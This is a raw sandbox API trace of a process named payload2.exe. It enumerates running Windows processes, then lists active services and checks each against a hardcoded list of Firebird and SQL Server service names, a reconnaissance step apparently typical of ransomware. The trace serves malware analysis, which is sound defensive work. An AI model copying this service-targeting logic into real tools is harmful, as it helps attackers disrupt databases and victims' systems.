	[0166.319] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.319] lstrlenW (lpString="svchost.exe") returned 11
	[0166.319] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0166.319] lstrlenW (lpString="audiodg.exe") returned 11
	[0166.319] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0166.320] lstrlenW (lpString="sihost.exe") returned 10
	[0166.320] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.320] lstrlenW (lpString="svchost.exe") returned 11
	[0166.320] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0166.321] lstrlenW (lpString="taskhostw.exe") returned 13
	[0166.321] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0166.321] lstrlenW (lpString="msoia.exe") returned 9
	[0166.321] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0166.321] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0166.322] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0166.322] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0166.322] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0166.322] lstrlenW (lpString="Memory Compression") returned 18
	[0166.322] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0166.323] lstrlenW (lpString="explorer.exe") returned 12
	[0166.323] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0166.323] lstrlenW (lpString="SearchUI.exe") returned 12
	[0166.323] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0166.324] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0166.324] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0166.324] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0166.324] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0166.325] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0166.325] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0166.325] lstrlenW (lpString="payload2.exe") returned 12
	[0166.325] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0166.325] lstrlenW (lpString="cmd.exe") returned 7
	[0166.326] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0166.326] lstrlenW (lpString="conhost.exe") returned 11
	[0166.326] Process32NextW (in: hSnapshot=0x344, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0166.326] CloseHandle (hObject=0x344) returned 1
	[0166.326] Sleep (dwMilliseconds=0x1f4) 
	[0167.010] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3e861d0
	[0167.014] EnumServicesStatusExW (in: hSCManager=0x3e861d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0167.016] GetLastError () returned 0xea
	[0167.016] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1bbc) returned 0x3e8a9c8
	[0167.016] EnumServicesStatusExW (in: hSCManager=0x3e861d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3e8a9c8, cbBufSize=0x1bbc, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3e8a9c8, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0167.018] CloseServiceHandle (hSCObject=0x3e861d0) returned 1
	[0167.018] lstrlenW (lpString="AppXSvc") returned 7
	[0167.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0167.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0167.018] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0167.018] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0167.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0167.018] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0167.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0167.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0167.018] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0167.018] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0167.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0167.018] lstrlenW (lpString="Audiosrv") returned 8
	[0167.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0167.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0167.019] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0167.019] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0167.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0167.019] lstrlenW (lpString="BFE") returned 3
	[0167.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0167.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0167.019] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0167.019] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0167.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0167.019] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0167.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0167.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0167.020] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0167.020] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0167.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0167.020] lstrlenW (lpString="CDPSvc") returned 6
	[0167.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0167.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0167.020] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0167.020] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0167.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0167.020] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0167.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0167.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0167.020] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0167.020] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0167.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0167.020] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0167.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0167.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0167.020] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0167.020] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0167.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0167.020] lstrlenW (lpString="CryptSvc") returned 8
	[0167.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0167.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0167.021] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0167.021] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0167.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0167.021] lstrlenW (lpString="DcomLaunch") returned 10
	[0167.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0167.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0167.021] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0167.021] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0167.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0167.021] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0167.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0167.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0167.021] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0167.021] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0167.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0167.021] lstrlenW (lpString="Dhcp") returned 4
	[0167.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0167.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0167.021] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0167.021] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0167.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0167.021] lstrlenW (lpString="Dnscache") returned 8
	[0167.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0167.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0167.022] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0167.022] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0167.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0167.022] lstrlenW (lpString="DPS") returned 3
	[0167.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0167.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0167.022] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0167.022] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0167.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0167.022] lstrlenW (lpString="DsmSvc") returned 6
	[0167.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
	[0167.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0167.022] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0167.022] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0167.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0167.022] lstrlenW (lpString="DusmSvc") returned 7
	[0167.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0167.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0167.022] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0167.022] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0167.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0167.022] lstrlenW (lpString="EventLog") returned 8
	[0167.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0167.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0167.022] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0167.022] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0167.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0167.023] lstrlenW (lpString="EventSystem") returned 11
	[0167.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0167.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0167.023] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0167.023] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0167.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0167.023] lstrlenW (lpString="FontCache") returned 9
	[0167.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0167.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0167.023] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0167.023] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0167.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0167.023] lstrlenW (lpString="gpsvc") returned 5
	[0167.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0167.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0167.023] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0167.023] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0167.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0167.023] lstrlenW (lpString="iphlpsvc") returned 8
	[0167.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0167.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0167.023] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0167.023] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0167.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0167.024] lstrlenW (lpString="KeyIso") returned 6
	[0167.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0167.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0167.024] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0167.024] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0167.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0167.024] lstrlenW (lpString="LanmanServer") returned 12
	[0167.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0167.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0167.024] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0167.024] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0167.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0167.024] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0167.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0167.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0167.024] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0167.024] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0167.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0167.024] lstrlenW (lpString="lfsvc") returned 5
	[0167.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0167.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0167.024] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0167.024] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0167.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0167.024] lstrlenW (lpString="lmhosts") returned 7
	[0167.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0167.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0167.025] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0167.025] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0167.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0167.025] lstrlenW (lpString="LSM") returned 3
	[0167.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0167.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0167.025] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0167.025] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0167.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0167.025] lstrlenW (lpString="MpsSvc") returned 6
	[0167.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0167.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0167.025] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0167.025] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0167.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0167.025] lstrlenW (lpString="NcbService") returned 10
	[0167.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0167.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0167.025] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0167.025] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0167.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0167.025] lstrlenW (lpString="netprofm") returned 8
	[0167.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0167.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0167.026] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0167.026] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0167.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0167.026] lstrlenW (lpString="NgcSvc") returned 6
	[0167.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0167.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0167.026] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0167.026] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0167.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0167.026] lstrlenW (lpString="NlaSvc") returned 6
	[0167.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0167.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0167.026] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0167.026] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0167.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0167.026] lstrlenW (lpString="nsi") returned 3
	[0167.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0167.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0167.026] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0167.026] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0167.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0167.026] lstrlenW (lpString="PcaSvc") returned 6
	[0167.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0167.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0167.027] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0167.027] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0167.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0167.027] lstrlenW (lpString="PlugPlay") returned 8
	[0167.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0167.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0167.027] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0167.027] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0167.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0167.027] lstrlenW (lpString="Power") returned 5
	[0167.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0167.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0167.027] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0167.027] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0167.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0167.027] lstrlenW (lpString="ProfSvc") returned 7
	[0167.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0167.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0167.027] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0167.027] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0167.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0167.275] lstrlenW (lpString="RpcEptMapper") returned 12
	[0167.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0167.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0167.275] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0167.275] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0167.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0167.276] lstrlenW (lpString="RpcSs") returned 5
